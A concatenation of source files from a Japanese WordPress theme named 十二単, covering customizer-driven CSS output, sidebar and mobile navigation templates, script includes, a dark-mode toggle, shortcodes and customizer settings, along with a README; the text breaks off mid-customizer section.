get_option('site_dyheader_height') ? get_option('site_dyheader_height') : '50'; $dyheaderMarginTop = get_option('site_dyheader_margin-top') ? get_option('site_dyheader_margin-top') : '0'; $dyheaderPadding = get_option('site_dyheader_padding') ? get_option('site_dyheader_padding') : '20'; $dyheaderImg = get_option('site_dyheader_img'); $dyheaderImgWidth = get_option('site_dyheader_img_width') ? get_option('site_dyheader_img_width') : '100'; $dyheaderImgPosition = get_option('site_dyheader_img_position'); $dyheaderBkImg = get_option('site_dyheader_bkimg'); $dyheaderBkColor = get_option('site_dyheader_bkcolor'); //フューチャー部分 $featureIcon1Color = get_option('site_feature_section_item1_icon_color') ? get_option('site_feature_section_item1_icon_color') : '#1C6ECD'; $featureIcon2Color = get_option('site_feature_section_item2_icon_color') ? get_option('site_feature_section_item2_icon_color') : '#E64A64'; $featureIcon3Color = get_option('site_feature_section_item3_icon_color') ? get_option('site_feature_section_item3_icon_color') : '#ffcc00'; $featureSec2BkImg = get_option('site_feature_section2_bk_img'); $featureSec2Color = get_option('site_feature_section2_color') ? get_option('site_feature_section2_color') : '#f9f9f9'; $featureSec2BkColor = get_option('site_feature_section2_bk_color') ? get_option('site_feature_section2_bk_color') : '#212121'; $featureSec3BkImg = get_option('site_feature_section3_bk_img'); $featureSec3Color = get_option('site_feature_section3_color') ? get_option('site_feature_section3_color') : '#f9f9f9'; $featureSec3BkColor = get_option('site_feature_section3_bk_color') ? get_option('site_feature_section3_bk_color') : '#212121'; // ニュース欄 $newsBk1 = get_option('site_carousel_news_bk') ? get_option('site_carousel_news_bk') : '#3bb3fa' ; $newsBk2 = get_option('site_carousel_news_bk2') ? get_option('site_carousel_news_bk2') : '#ff3f3f' ; //フォントの設定 $fontDefault = "'メイリオ','Avenir','Helvetica Neue','Helvetica','Arial','Hiragino Sans','ヒラギノ角ゴシック',YuGothic,'Yu Gothic', Meiryo,'MS Pゴシック','MS PGothic',sans-serif"; /*** タイトルフォントの設定 ***/ $titleFont = get_option('site_font_title'); switch ($titleFont) { case 'value1' : $TF = $fontDefault ; break; case 'value2' : $TF = "'Luckiest Guy'" ; break; case 'value3' : $TF = "'Megrim'" ; break; case 'value4' : $TF = "'Faster One'" ; break; case 'value5' : $TF = "'Iceland'" ; break; case 'value6' : $TF = "'Londrina Outline'" ; break; case 'value7' : $TF = "'Caveat'" ; break; case 'value8' : $TF = "'Nico Moji'" ; break; case 'value9' : $TF = "'Hannari'" ; break; case 'value10': $TF = "'Nikukyu'" ; break; } /*** 本文フォントの設定 ****/ $fontBody = get_option('site_font_body'); switch ($fontBody) { case 'value1' : $FB = $fontDefault; break; case 'value2' : $FB = "'Yu Mincho Light','YuMincho','Yu Mincho','游明朝体','Yu Gothic UI','ヒラギノ明朝 ProN','Hiragino Mincho ProN',sans-serif"; break; case 'value3' : $FB = "'M PLUS Rounded 1c', sans-serif"; break; case 'value4' : $FB = "'NotoSansCJK',".$fontDefault; break; case 'value5' : $FB = "'timemachine',".$fontDefault; break; case 'value6' : $FB = "'Senobi',".$fontDefault; break; case 'value7' : $FB = "'komorebi',".$fontDefault; break; } /*** 上のフォントを見出しにのみ適用 ***/ $fontOnlyHeading = get_option('site_font_body_only_heading') ? get_option('site_font_body_only_heading') : false ; /*** サイトの文字サイズ ***/ $titleSize = get_option('site_font_title_size') ? get_option('site_font_title_size') : '160'; $pcSize = get_option('site_font_pc_size') ? get_option('site_font_pc_size') : '100'; $tabSize = get_option('site_font_tab_size') ? get_option('site_font_tab_size') : '98'; $spSize = get_option('site_font_sp_size') ? get_option('site_font_sp_size') : '95'; /*** ナビメニューの横幅 ***/ $nav = get_option('site_nav_width'); $navEn1 = get_option('site_nav_list1'); $navEn2 = get_option('site_nav_list2'); $navEn3 = get_option('site_nav_list3'); $navEn4 = get_option('site_nav_list4'); $navEn5 = get_option('site_nav_list5'); $navtp = get_option('site_nav_transparentable') ? get_option('site_nav_transparentable') : false; /*** 色の設定 ***/ $main_c = get_option('site_color_main') ? get_option('site_color_main') : '#1a2760'; $sub_c = get_option('site_color_sub') ? get_option('site_color_sub') : '#3bb3fa'; $acc_c = get_option('site_color_acc') ? get_option('site_color_acc') : '#ff3f3f'; $nav_bk = get_option('site_color_nav_bk') ? get_option('site_color_nav_bk') : '#1a2760'; $nav_bk_grad= get_option('site_color_nav_bk_grad') ? get_option('site_color_nav_bk_grad') : '#9287e5'; $nav_c = get_option('site_color_nav_color') ? get_option('site_color_nav_color') : '#ffffff'; $body_bk = get_option('site_color_body_bk') ? get_option('site_color_body_bk') : '#f5f5f5'; $body_c = get_option('site_color_body_color') ? get_option('site_color_body_color') : '#2b546a'; $side_bk = get_option('site_color_widget_bk') ? get_option('site_color_widget_bk') : '#ffffff'; $foot_bk = get_option('site_color_footer_bk_color') ? get_option('site_color_footer_bk_color') : '#1a2760'; $foot_c = get_option('site_color_footer_color') ? get_option('site_color_footer_color') : '#ffffff'; $link_c = get_option('site_color_a_tag_color') ? get_option('site_color_a_tag_color') : '#2d6eef'; $main_rgba = getConversionRgba($main_c, 0.2); $sub_rgba = getConversionRgba($sub_c , 0.2); $cta_rgba1 = getConversionRgba($acc_c , 0.9); $cta_rgba2 = getConversionRgba($main_c, 0.9); $cta_rgba3 = getConversionRgba($main_c, 0.8); $cta_rgba4 = getConversionRgba($main_c, 0.7); /*** 記事に関する設定 ***/ $p_margin = get_option('site_article_p_margin') ? get_option('site_article_p_margin') : '0.5'; /*** フッターに関する設定 ***/ $spOrgNav = get_option('site_footer_sp_menu') ? get_option('site_footer_sp_menu') : false; $footShr = get_option('site_footer_share') ? get_option('site_footer_share') : false; $footTop = get_option('site_footer_gototop') ? get_option('site_footer_gototop') : false; ?> <?php ////////////////////////////////////// // ここからカスタマイザーの値を<head>に出力 ////////////////////////////////////// ?> <style> <?php if ($fontBody == 'value4'): ?> @font-face{ font-family: 'NotoSansCJK'; src: url("<?php echo get_template_directory_uri(); ?>/lib/fonts/NotoSansCJKjp-Regular.woff") format("woff"); } <?php elseif($fontBody == 'value5'): ?> @font-face{ font-family: 'timemachine'; src: url("<?php echo get_template_directory_uri(); ?>/lib/fonts/timemachine-wa.woff") format("woff"); } <?php elseif($fontBody == 'value6'): ?> @font-face{ font-family: 'Senobi'; src: url("<?php echo get_template_directory_uri(); ?>/lib/fonts/Senobi-Gothic-Regular.woff") format("woff"); } <?php elseif($fontBody == 'value7'): ?> @font-face{ font-family: 'komorebi'; src: url("<?php echo get_template_directory_uri(); ?>/lib/fonts/komorebi-gothic.woff") format("woff"); } <?php endif; ?> body{<?php if($fontOnlyHeading == false): ?>font-family:<?php echo $FB ?>;<?php endif; ?>color:<?php echo $body_c ?>;background:<?php echo $body_bk ?>;} <?php if($navShadow == true): ?>nav{-webkit-box-shadow:none;box-shadow:none;}<?php endif; ?> nav a.siteTitle{font-family:<?php echo $TF ?>;font-size: <?php echo $titleSize ?>%;} a{color:<?php echo $link_c ?>;} @media (min-width: 961px){body{font-size:<?php echo $pcSize ?>%;<?php if ($sidebarLeft == true): ?>}.contentArea{flex-direction: row-reverse;-webkit-box-orient: horizontal; -webkit-box-direction: reverse; -ms-flex-direction: row-reverse;}<?php endif; ?>}} @media (max-width:960px){body{font-size:<?php echo $tabSize ?>%;}} @media (max-width:560px){body{font-size:<?php echo $spSize ?>%;}} /*** ダイナミックヘッダーとフューチャー ***/ <?php if ($siteType == 'value3' || $siteType == 'value4' ) : ?> .dyheader{background-color:<?php echo $dyheaderBkColor ?>; <?php if ($dyheaderBkImg != null) : ?>background:url("<?php echo $dyheaderBkImg ?>") no-repeat center/cover;<?php endif; ?> } .dyheader_textArea p{font-size:<?php echo $dyheaderFontSize ?>%;color:<?php echo $dyheaderFontColor ?>;} .dyheader{max-width:<?php echo $dyheaderWidth ?>px;height:<?php echo $dyheaderHeight ?>vh;margin-top:<?php echo $dyheaderMarginTop ?>px;padding:<?php echo $dyheaderPadding ?>px;} <?php if ($dyheaderImg != null) : ?> .dyheader_container{-webkit-box-pack: justify;-ms-flex-pack: justify;justify-content: space-between;} .dyheader_imgArea img{width:<?php echo $dyheaderImgWidth ?>%;} <?php if ($dyheaderImgPosition == true) : ?> .dyheader_container{-ms-flex-wrap: wrap-reverse;flex-wrap: wrap-reverse;-webkit-box-orient: horizontal;-webkit-box-direction: reverse;-ms-flex-direction: row-reverse;flex-direction: row-reverse;} <?php endif; //END imgを左側にするか ?> <?php endif; //END imageがあるかどうか ?> .dyheaderBkImgFil3::after{background: url("<?php echo get_template_directory_uri(); ?>/images/dyheader_fil/dot.png") repeat;} .dyheaderBkImgFil4::after{background: url("<?php echo get_template_directory_uri(); ?>/images/dyheader_fil/line.png") repeat;} .dyheaderBkImgFil5::after{background: url("<?php echo get_template_directory_uri(); ?>/images/dyheader_fil/ruledLine.png") repeat;} <?php endif; //END そもそもダイナミックヘッダーがあるかどうか?> <?php if ( $siteType == 'value4' ) : //フューチャーがあるかどうか ?> .f_item:nth-child(1) svg{color:<?php echo $featureIcon1Color ?>;} .f_item:nth-child(2) svg{color:<?php echo $featureIcon2Color ?>;} .f_item:nth-child(3) svg{color:<?php echo $featureIcon3Color ?>;} #feature2{<?php if ($featureSec2BkImg != null) : ?>background:url("<?php echo $featureSec2BkImg ?>") no-repeat center/cover;<?php endif; ?>background-color:<?php echo $featureSec2BkColor ?>;color:<?php echo $featureSec2Color ?>;} #feature3{<?php if ($featureSec3BkImg != null) : ?>background:url("<?php echo $featureSec3BkImg ?>") no-repeat center/cover;<?php endif; ?>background-color:<?php echo $featureSec3BkColor ?>;color:<?php echo $featureSec3Color ?>;} <?php endif; //END フューチャーがあるかどうか ?> .contentArea{max-width:<?php echo $contentArea ?>px;} <?php if ($nav == true): ?> .nav-wrapper,.footer_container{max-width:<?php echo $contentArea ?>px;margin: auto;} <?php endif; ?> .footer_container{max-width:<?php echo $contentArea ?>px;margin: auto;} <?php if($navtp == true): ?> body.started .headerArea nav{background:transparent;-webkit-backdrop-filter:blur(4px);backdrop-filter:blur(4px);} <?php endif; ?> #topnav li:nth-of-type(1) a::after{content:"<?php echo $navEn1 ?>";} #topnav li:nth-of-type(2) a::after{content:"<?php echo $navEn2 ?>";} #topnav li:nth-of-type(3) a::after{content:"<?php echo $navEn3 ?>";} #topnav li:nth-of-type(4) a::after{content:"<?php echo $navEn4 ?>";} #topnav li:nth-of-type(5) a::after{content:"<?php echo $navEn5 ?>";} .news{background: linear-gradient(45deg, <?php echo $newsBk1 ?>, <?php echo $newsBk2 ?>);} /*** 色 ***/ .main__color,.main_color:active,.main_color:focus,.main_color:hover,.main_color:visited,.main_color:focus-within,.pagination li span,.tocType3 .toc_ttl, .tocType4,.btn,.btn:hover,.btn-large,.btn-large:hover{background:<?php echo $main_c ?>;} .sub__color,.sub_color:active,.sub_color:focus,.sub_color:hover,.sub_color:visited,.sub_color:focus-within,.tocType5 .toc_ttl::after,.tabs .indicator{background:<?php echo $sub_c ?>;} .acc__color,.acc_color:active,.acc_color:focus,.acc_color:hover,.acc_color:visited,.acc_color:focus-within,input[type="submit"]{background:<?php echo $acc_c ?>;} .main_c,.pagination li a,.articleList_wrap .articleList5 .content .title:hover,div.related_ttl:hover,.tocType4 .toc_body>ul>li>a::before,.started .navbar-fixed.main_c nav a{color:<?php echo $main_c ?>;} /*** その他個別に設定すべきメイン.サブ.アクセントカラー ***/ .article_content h2.h2type1,.article_content h3.h3type1,.article_content h4.h4type1,.article_content h2.h2type7::before, .article_content h2.h2type7::after,.article_content h3.h3type7::before, .article_content h3.h3type7::after,.article_content h4.h4type7::before, .article_content h4.h4type7::after,.article_content h2.h2type8,.article_content h3.h3type8,.article_content h4.h4type8{border-color:<?php echo $main_c ?>;} .article_content h2.h2type2,.article_content h3.h3type2,.article_content h4.h4type2,.article_content h2.h2type3::before,.article_content h3.h3type3::before,.article_content h4.h4type3::before,.article_content h2.h2type5,.article_content h3.h3type5,.article_content h4.h4type5{background:<?php echo $main_c ?>;} .article_content h2.h2type2::after,.article_content h3.h3type2::after,.article_content h4.h4type2::after{border-top-color:<?php echo $main_c ?>;} .article_content h2.h2type4:first-letter,.article_content h3.h3type4:first-letter,.article_content h4.h4type4:first-letter,.tabs .tab a:hover,.tabs .tab a.active,.tabs .tab a{color:<?php echo $main_c ?>;} .article_content h2.h2type6::after,.article_content h3.h3type6::after,.article_content h4.h4type6::after{background: linear-gradient(to right, <?php echo $main_c ?>, <?php echo $sub_c ?>, #fff);} .article_content ul li::before{background:<?php echo $sub_c ?>;} .sideType1 h4.sidebar_title::after,.breadcrumbType1 li:not(.bread_home)::before{background:<?php echo $body_bk ?>;} .btn-floating:hover,.dyheader_textArea>.btn-large:nth-of-type(2){background-color:<?php echo $acc_c ?>;} .articleList_wrap .articleList3 .category::before{border-top-color:<?php echo $acc_c ?>;border-right-color:<?php echo $acc_c ?>;} .tocType3{border-color:<?php echo $main_c ?>;} .tabs .tab a:focus, .tabs .tab a:focus.active{background:rgba(<?php echo $sub_rgba ?>);} .sc_marker{background: linear-gradient(transparent 70%, <?php echo $sub_c ?> 70%);} .cta_body{background: linear-gradient(45deg,rgba(<?php echo $cta_rgba1 ?>),rgba(<?php echo $cta_rgba2 ?>),rgba(<?php echo $cta_rgba3 ?>),rgba(<?php echo $cta_rgba4 ?>));} /*ナビ*/ nav{background: linear-gradient(45deg, <?php echo $nav_bk ?>, <?php echo $nav_bk_grad ?>);color:<?php echo $nav_c ?>;} nav .brand-logo,nav a,nav ul a{color:<?php echo $nav_c ?>;} .aside .widget,.profile_widget img,.author_thumb img{background:<?php echo $side_bk ?>;} footer, .page-footer{background:<?php echo $foot_bk ?>;color:<?php echo $foot_c ?>;} .footer_widgets_wrap .search_form_wrap input,.footer_widgets_wrap .search_form_wrap svg{color:<?php echo $foot_c ?>;} a.tohomelink{color:<?php echo $foot_c ?>;} /*** 記事 ***/ <?php if ($fontOnlyHeading == true): ?> .article_content h2,.article_content h3, .article_content h4{font-family:<?php echo $FB ?>;} <?php endif; ?> .article_content p{margin-bottom:<?php echo $p_margin ?>em;} /*** フッター ***/ <?php if($spOrgNav == true) : ?> .gototop,.fixed-action-btn{bottom: 60px;} <?php endif; ?> <?php if($footTop == true && $footShr == true) : ?> .fixed-action-btn{margin-bottom:61px;} <?php endif; ?> <?php if($darkModeOn==true): ?> @media (prefers-color-scheme: dark){ .dark_theme,.dark_theme .articleShow_wrap article,.dark_theme .author_box,.dark_theme ul.related_posts,.dark_theme .comment_box{background:#444;color:#e4e4e4;} .dark_theme .aside .widget,.dark_theme .profile_widget img,.dark_theme .author_thumb img,.dark_theme ul.tabs,.dark_theme .breadcrumbType1 li a,.dark_theme .breadcrumbType1 li:last-of-type span, .dark_theme .articleList_wrap article:not(.articleList3):not(.articleList6) .thumbnail,.dark_theme .articleList_wrap article:not(.articleList5):not(.articleList6) .content, .dark_theme .articleList_wrap .articleList2, .dark_theme .articleList_wrap .articleList2 .thumbnail time,.dark_theme .articleList_wrap .articleList1 .thumbnail .category,.dark_theme .articleList_wrap .articleList2 .thumbnail .category{background: #555;} .dark_theme .sideType1 h4.sidebar_title::after,.dark_theme .breadcrumbType1 li:not(.bread_home)::before{background:#444;} .dark_theme nav,.dark_theme footer,.dark_theme .page-footer, .dark_theme .btn,.dark_theme .btn-floating,.dark_theme .comment_text,.dark_theme .sidenav{background:#333;} .dark_theme .comment_text::before{border-bottom:10px solid #333;} .dark_theme .modal .modal-footer,.dark_theme .modal .modal-content,.dark_theme .pagination li span{background:#222;} .dark_theme a,.dark_theme .sidenav li>a, .dark_theme .pagination li a{color: #e39777;} .dark_theme .toc{color:#333} .dark_theme img{filter: grayscale(30%);} } <?php endif; ?> </style> <?php }//END add_customizerCSS() <file_sep><?php $d = get_option('site_widgets_design') ? get_option('site_widgets_design') : 'value1' ?> <aside id="aside" class="aside col l3 <?php if($d == 'value1'){ echo ' sideType1' ; }elseif($d == 'value2'){ echo ' sideType2'; }elseif($d == 'value3'){ echo ' sideType3'; } if (is_single()){ echo ' exsist_bread'; } ?> "> <!--<div class="aside__container" height="100%"> adsenseによって高さ調整されてしまうため削除 --> <?php if(is_active_sidebar('side_widget')) :?> <?php dynamic_sidebar('side_widget'); ?> <?php endif; ?> <?php if(is_active_sidebar('fixed_side_widget')) :?> <div class="fixed_side_widget_wrap"> <?php dynamic_sidebar('fixed_side_widget'); ?> </div> <?php endif; ?> <!--</div>--> </aside> <file_sep><?php $authorImg = get_option('site_nav_sp_sideauthor_img') ? get_option('site_nav_sp_sideauthor_img') : get_avatar_url(get_the_author_meta('ID'), 80); $authorBk = get_option('site_nav_sp_sideauthor_bkimg') ? get_option('site_nav_sp_sideauthor_bkimg'): get_bloginfo('template_directory').'/images/others/author_bk.png'; $sideAuthor = get_option('site_nav_sp_sideauthor'); $sidenavMenu = get_option('site_nav_sp_menu_menu'); $sidenavTtl = get_option('site_nav_sp_sidemenu') ? get_option('site_nav_sp_sidemenu') : 'MENU'; $authorName = get_option('site_nav_sp_sideauthor_name') ? get_option('site_nav_sp_sideauthor_name') : '運営者名'; $authorMail = get_option('site_nav_sp_sideauthor_mail') ? get_option('site_nav_sp_sideauthor_mail') : '<EMAIL>'; $darkModeOn = get_option('site_bone_dark') ? get_option('site_bone_dark') : false; ?> <ul id="mobile-sidenav" class="sidenav"> <?php if ($sideAuthor == false) : ?> <li class="sidenav_author_list"> <div class="user-view"> <div class="background"> <img data-src="<?php echo $authorBk ?>" class="fadeinimg lazyload" alt="運営者プロフィール背景画像"> </div> <a href="#profile"> <img data-src="<?php echo $authorImg ?>" class="fadeinimg lazyload circle" alt="運営者画像"> </a> <a href="#name"> <span class="white-text name"> <?php echo $authorName ?> </span> </a> <a href="mailto:<?php echo $authorMail ?>"> <span class="white-text sns"> <?php echo $authorMail ?> </span> </a> </div> </li> <?php endif; ?> <?php if ($sidenavMenu == false) : ?> <li class="sidenav_menu_list"> <h3 class="sidenav_ttl"><?php echo $sidenavTtl ?></h3> <?php wp_nav_menu(array( 'theme_location' => 'nav_header_sp', 'container' => 'ul', 'fallback' => '' )); ?> </li> <?php endif; ?> <?php if(is_active_sidebar('sidenav_widget')): ?> <li class="sidenav_widget_list"> <?php dynamic_sidebar('sidenav_widget'); ?> </li> <?php endif; ?> <?php if($darkModeOn==true): ?> <li class="side_nav_dark_switch"> <h3 class="sidenav_ttl">Light → Dark</h3> <div class="switch"> <label for="mode_switch"> Off <input id="mode_switch" type="checkbox"> <span class="lever"></span> On </label> </div> </li> <?php endif; ?> </ul> <file_sep><?php $cssfw = get_option('site_cssfw_choice') ? get_option('site_cssfw_choice') : 'value2' ; $tocOff = get_option('site_article_toc'); $darkModeOn = get_option('site_bone_dark') ? get_option('site_bone_dark') : false ; ?> <?php if ($cssfw != 'value1') : ?> <script defer type="text/javascript" src="<?php echo get_template_directory_uri(); ?>/vendor/materialize/js/materialize.min.js"></script> <script defer type="text/javascript" src="<?php echo get_template_directory_uri(); ?>/lib/js/materialize.js"></script> <?php endif; ?> <script defer type="text/javascript" src="<?php echo get_template_directory_uri(); ?>/vendor/delighters/delighters.min.js"></script> <script async type="text/javascript" src="<?php echo get_template_directory_uri(); ?>/vendor/lazysizes/lazysizes.min.js"></script> <?php if ($tocOff == false) : ?> <script defer type="text/javascript" src="<?php echo get_template_directory_uri(); ?>/lib/js/toc.js"></script> <?php endif; ?> <?php if($darkModeOn==true) : ?> <script defer type="text/javascript" src="<?php echo get_template_directory_uri(); ?>/lib/js/darkMode.js"></script> <?php endif; ?> <script type="text/javascript">FontAwesomeConfig = { searchPseudoElements: true };</script> <script defer type="text/javascript" src="https://use.fontawesome.com/releases/v5.12.0/js/all.js"></script> <?php //コメント用js ?> <?php if (is_singular()) wp_enqueue_script("comment-reply"); ?> <file_sep>const darkModeMediaQuery = window.matchMedia('(prefers-color-scheme: dark)'); const darkModeOn = darkModeMediaQuery.matches; const btn = document.querySelector("#mode_switch"); darkModeMediaQuery.addListener((e) => { const darkModeOn = e.matches; if (darkModeOn) { document.body.classList.remove('light_theme'); document.body.classList.add('dark_theme'); }else{ document.body.classList.remove('dark_theme'); document.body.classList.add('light_theme'); } }); btn.addEventListener("change", () => { if (btn.checked == true){ document.body.classList.remove("light_theme"); document.body.classList.add("dark_theme"); }else{ document.body.classList.remove("dark_theme"); document.body.classList.add("light_theme"); } }); <file_sep><?php /** * Template Name: 白紙ページ(サイドバーなし) * Template Post Type: page */ ?> <?php $tocOn = get_option('site_article_toc_page') ? get_option('site_article_toc_page') : false ; ?> <?php get_header(); ?> <div class="row contentArea showPage"> <main id="main" class="main"> <div class="main__container articleShow_wrap<?php if($tocOn==true){echo ' painttoc';} ?>"> <?php if(have_posts()): the_post(); ?> <article <?php post_class('articleType1'); ?>> <div class="article_container"> <!--タイトル--> <div class="article_title"> <h1><?php the_title(); ?></h1> </div> <!--本文--> <div class="article_content"> <?php the_content(); ?> </div> </div> </article> <?php endif; ?> </div> </main> </div> <?php get_footer(); ?> <file_sep>![forReadme-min](https://user-images.githubusercontent.com/48539551/72215889-cebd5780-355c-11ea-9ae0-d8e3996f27d9.png) <h2 align="center">👘 WordPressテーマ『十二単』</h2> <p align="center"> <a href="https://ja.wordpress.com/"> <img src="https://user-images.githubusercontent.com/48539551/72215971-f6f98600-355d-11ea-9e01-4b32e99e86f7.png" height="45px;"> </a> <a href="https://www.php.net/"> <img src="https://user-images.githubusercontent.com/48539551/72216138-80aa5300-3560-11ea-97ca-20ee6ea2e24e.png" width="45px;"> </a> <a href="https://materializecss.com/"> <img src="https://user-images.githubusercontent.com/48539551/72215994-4dff5b00-355e-11ea-82d5-08b4f3bbe801.png" height="45px;"> </a> </p> ## 🌐 ThemeURL ### **https://withdiv.com/12hitoe** ## 💬 Usage `$ git clone https://github.com/tkskds/12hitoe.git` ## 👀 Author - **https://twitter.com/tkskds** - **https://takasaki.work** ## 📂 ディレクトリ構成 ### 📸 ../images ダイナミックヘッダーに使用するフィルター、404ページで使うアイキャッチ画像、アイキャッチが未設定の時に出力されるデフォルトのアイキャッチ画像など ### 📖 ../lib 独自のCSS/JS/PHPファイル。 ### 🧩 ../parts 部分テンプレート各種。基本的にindex.phpやheader.phpなどはここからカスタマイザーの値に合わせて部品を取り出す。 - ../functions/for_setupではheadクリーナーやテーマサポート、カスタマイザーの設定、ウィジェット・ショートコードの登録を、 - ../functions/for_templateではテンプレート用のアレコレを行う。 ### 👇 ../vendor materialize、delighter.js、plugin-update-checkerなど外部ベンダー提供のプラグインやライブラリ。サードパーティはここに。 ## 📖 仕様 1. materializeベース 2. カスタマイザーの値に合わせてHTML構成する --------- ## 🖋 MEMO ### 📚 How to update theme version 1. EDIT version in stylesheet 2. EDIT version in json(../12hitoe) file 3. DONE ┈╱▔▔▔▔▔▔▔╲┈┈ ┈▏┈┈╰╯╯╯┈▕┈┈ ╭▏┈▕▏┗╮▎┈▕╮┈ ╰▏┈┈┈┏╯┈┈▕╯┈ ┈▏┈╲▂▂▂╱┈▕┈┈ < u wanna play? ┈╲┈┈┈┈┈┈┈╱┈┈ ┈┈▔▔▏┈▕▔▔┈┈┈ <file_sep><?php //================ // MEMO //================ //ショートコード内でショートコードを使えるようにする↓ // $content = do_shortcode(shortcode_unautop($content)); //================ // END //================ function add_shortcodes(){ add_shortcode('yoko' , 'sc_columns'); add_shortcode('cell' , 'sc_columns_cell'); add_shortcode('marker' , 'sc_marker'); add_shortcode('fukidasi' , 'sc_fukidasi'); function sc_columns($atts, $content = null){ $content = do_shortcode(shortcode_unautop($content)); return '<div class="sc_column">'.$content.'</div>'; } function sc_columns_cell($atts, $content = null ){ return '<div class="sc_cell">'.$content.'</div>'; } function sc_marker($atts, $content = null){ return '<span class="sc_marker">'.$content.'</span>'; } } <file_sep><?php ////////////////////////////// // 1 <head>タグを綺麗にする ////////////////////////////// function head_clean_up(){ // WPバージョンの削除 remove_action('wp_head', 'wp_generator'); // フィードリンクの削除(ブログ要素が全くない場合は上段の削除もやぶさかでない) // remove_action('wp_head', 'feed_links', 2); remove_action('wp_head', 'feed_links_extra', 3); // ショートリンクの削除 remove_action('wp_head', 'wp_shortlink_wp_head'); // Windows Live Writerリンクの削除 remove_action('wp_head', 'wlwmanifest_link'); // RSDリンクの削除 remove_action('wp_head', 'rsd_link'); remove_filter('the_content', 'wpautop'); remove_filter('the_excerpt', 'wpautop'); // 絵文字リンクの削除 remove_action('wp_head', 'print_emoji_detection_script', 7); remove_action('wp_print_styles', 'print_emoji_styles'); }//END head_clean_up(); <file_sep><?php // ====== // MEMO // ====== // // // 3-1 タイプの登録 // 3-2 サニタイザー登録 // 3-3 カスタマイザー項目追加 // // label -> description -> type -> section // // ====== // END // ====== ////////////////////////////// // 3-1 タイプの登録 ////////////////////////////// // 'type'で'textarea'の登録 if (class_exists('WP_Customize_Control')){ class EX_Customize_Textarea_Control extends WP_Customize_Control{ public $type = 'textarea'; public function render_content(){ ?> <label> <span><?php echo esc_html($this->label); ?></span> <textarea rows="8" style="width:100%;"><?php $this->link(); ?><?php echo esc_textarea($this->value()); ?></textarea> </label> <?php } } } ////////////////////////////// // 3-2 サニタイザー登録 ////////////////////////////// function sanitize_checkbox($input){ return ($input == true); } ////////////////////////////// // 3-3 カスタマイザー項目追加 ////////////////////////////// function org_customizer($wp_customize){ /******** // STEP1 ********/ $wp_customize->add_panel('site_conf', array( 'priority' => 1, 'title' => 'STEP1【基本設定】', 'description' => 'サイトの基本設定です。設定することでSEOに有効に働く項目もあります。' )); $wp_customize->add_section('title_tagline', array( 'title' => '基本情報とロゴの設定', 'panel' => 'site_conf', )); $wp_customize->add_setting('meta_description', array( 'default' => '', 'type' => 'option', )); $wp_customize->add_control('meta_description', array( 'label' => 'サイトの説明文', 'description' => '検索結果などに表示されます。記述がなかった場合、サイト名などを用いて自動で設定されます。(推奨100文字以内)', 'type' => 'textarea', 'section' => 'title_tagline', )); $wp_customize->add_setting('only_logo', array( 'default' => false, 'type' => 'option', 'sanitize_callback' => 'sanitize_checkbox', )); $wp_customize->add_control('only_logo', array( 'label' => 'タイトルテキストの非表示', 'description' => 'チェックを入れるとタイトル部分がロゴ画像だけになります。', 'type' => 'checkbox', 'section' => 'title_tagline', )); $wp_customize->add_section('static_front_page', array( 'title' => 'トップページの設定', 'panel' => 'site_conf', )); /******** // STEP2 ********/ $wp_customize->add_panel('site_builder', array( 'priority' => 2, 'title' => 'STEP2【外観設定】', 'description' => 'サイトの外観設定です。', )); $wp_customize->add_section('site_bone', array( 'priority' => 1, 'title' => '1.全体/トップページの設定', 'panel' => 'site_builder', )); $wp_customize->add_setting('site_bone_type', array( 'default' => 'value1', 'type' => 'option', )); $wp_customize->add_control('site_bone_type', array( 'label' => '1-1.トップページのタイプ', 'description' => '現在4種類から選べます。詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m1-1" rel="noreferrer noopener" target="_blank">こちら</a>', 'type' => 'radio', 'choices' => array( 'value1' => 'デザイン1(Nav/Main/Side/Footer)', 'value2' => 'デザイン2(Nav/Main/Footer)', 'value3' => 'デザイン3(Nav/DynamicHeader/Main/Side/Footer)', 'value4' => 'デザイン4(Nav/DynamicHeader/Features/Footer)', ), 'section' => 'site_bone', )); $wp_customize->add_setting('site_bone_content_area', array( 'default' => 1200, 'type' => 'option', )); $wp_customize->add_control('site_bone_content_area', array( 'label' => '1-2.コンテンツエリアの最大横幅', 'description' => 'コンテンツ部分の最大横幅を設定します(デフォルト:1200)。詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m1-2" rel="noreferrer noopener" target="_blank">こちら</a>', 'type' => 'number', 'section' => 'site_bone', )); $wp_customize->add_setting('site_bone_sidebar', array( 'default' => false, 'type' => 'option', 'sanitize_callback' => 'sanitize_checkbox', )); $wp_customize->add_control('site_bone_sidebar', array( 'label' => '1-3.サイドバーを左側に表示', 'description' => 'サイトバーがある構造の場合、チェックを入れるとサイドバーが左側に表示されます。詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m1-3" rel="noreferrer noopener" target="_blank">こちら</a>', 'type' => 'checkbox', 'section' => 'site_bone', )); $wp_customize->add_setting('site_bone_priority', array( 'default' => false, 'type' => 'option', 'sanitize_callback' => 'sanitize_checkbox', )); $wp_customize->add_control('site_bone_priority', array( 'label' => '1-4.ダイナミックヘッダーを画面最上部に表示', 'description' => 'チェックを入れると画面最上部にダイナミックヘッダーが表示され、その下にナビバーが表示されます(1-1でデザイン3/4を選択した場合のみ適用)。詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m1-4" rel="noreferrer noopener" target="_blank">こちら</a>', 'type' => 'checkbox', 'section' => 'site_bone', )); $wp_customize->add_setting('site_cssfw_choice', array( 'default' => 'value2', 'type' => 'option', )); $wp_customize->add_control('site_cssfw_choice', array( 'label' => '1-5.サイト全体の雰囲気(開発中)', 'description' => '現在2種類から選べます。詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m1-5" rel="noreferrer noopener" target="_blank">こちら</a>', 'type' => 'radio', 'choices' => array( 'value1' => '開発者・デザイナー向け(CSS適用なし)', 'value2' => 'マテリアル', 'value3' => 'フラット(開発中。選択不可)', 'value4' => 'ライン(開発中。選択不可)', ), 'section' => 'site_bone', )); $wp_customize->add_setting('site_bone_dark', array( 'default' => false, 'type' => 'option', 'sanitize_callback' => 'sanitize_checkbox' )); $wp_customize->add_control('site_bone_dark', array( 'label' => '1-6.ダークモード有効化(開発中)', 'description' => 'チェックを入れるとダークモードを有効化できます。サイドメニューの最下部にボタンが表示されます。詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m1-6" rel="noreferrer noopener" target="_blank">こちら</a>', 'type' => 'checkbox', 'section' => 'site_bone', )); $wp_customize->add_section('site_dyheader', array( 'priority' => 2, 